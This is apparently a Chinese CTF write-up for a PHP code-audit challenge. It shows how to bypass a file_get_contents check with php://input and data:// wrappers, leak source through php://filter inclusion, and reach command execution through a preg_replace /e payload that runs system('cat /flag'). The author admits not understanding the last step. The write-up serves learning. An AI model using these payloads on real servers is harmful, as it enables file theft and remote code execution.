文章目录
-
打开网页
又是代码审计,代码也很简单所以直接开始分析,分析完后我们知道以下几点
- 要想执行成功 text 必须存在且 ile_get_contents($text,‘r’) 内容必须为 I have a dream
- file=next.php
-
file_get_contents($text,‘r’) 这个函数的作用是从指定文件读取文件的内容并返回一个字符串,我们又不知道网站服务器上有没有这个文件且内容为 I have a dream,所以在网上找这个函数的一些漏洞,发现果然有漏洞
-
file_get_contents($text,‘r’) 的绕过:
- 使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值
- 用data://伪协议绕过
将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
或者将url改为:?xxx=data:text/plain,(url编码的内容)
- 使用php://input伪协议绕过
-
走进 if 函数:
这里选择第一种方法:
可以看到我们已经走进了 if 但是这个页面显示的东西不清不楚的,对于 next.php 文件的内容我们也毫不知情,这搞个什么鬼 -
获取 next.php:
我们可以看到这个 文件是使用 include 函数进行包含的,而这种一般都会存在漏洞的,直接在网上找 include函数读取指定文件漏洞 ,这不就好起来了,直接开干
file=php://filter/read=convert.base64-encode/resource=next.php
对获取到的数据进行 base64 加密就可以得到代码:<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', # 将字符串转化为小写 $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); } ?>
-
很好现在相关代码我们都有了,接下来怎么弄成了问题因为现在你就知道在 next.php 中存在两个参数 id 和 cmd ,他们的用处什么怎么用你都不知道吗,看 wp 吧,技术不行百度来凑
网上说,在 preg_replace 这里存在漏洞,链接
看的我云里雾里不知所云,明天回填 -
最后的 payload:
http://44585121-18cc-497e-a0af-dca6cdd4e842.node4.buuoj.cn:81/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
总结
- 当我们遇到不会的问题的时候要勇于百度,对于任何的蛛丝马迹都要了解,同时要多看官方文档,大多数的函数怎么使用在文档中都有讲解
- 注意代码的审计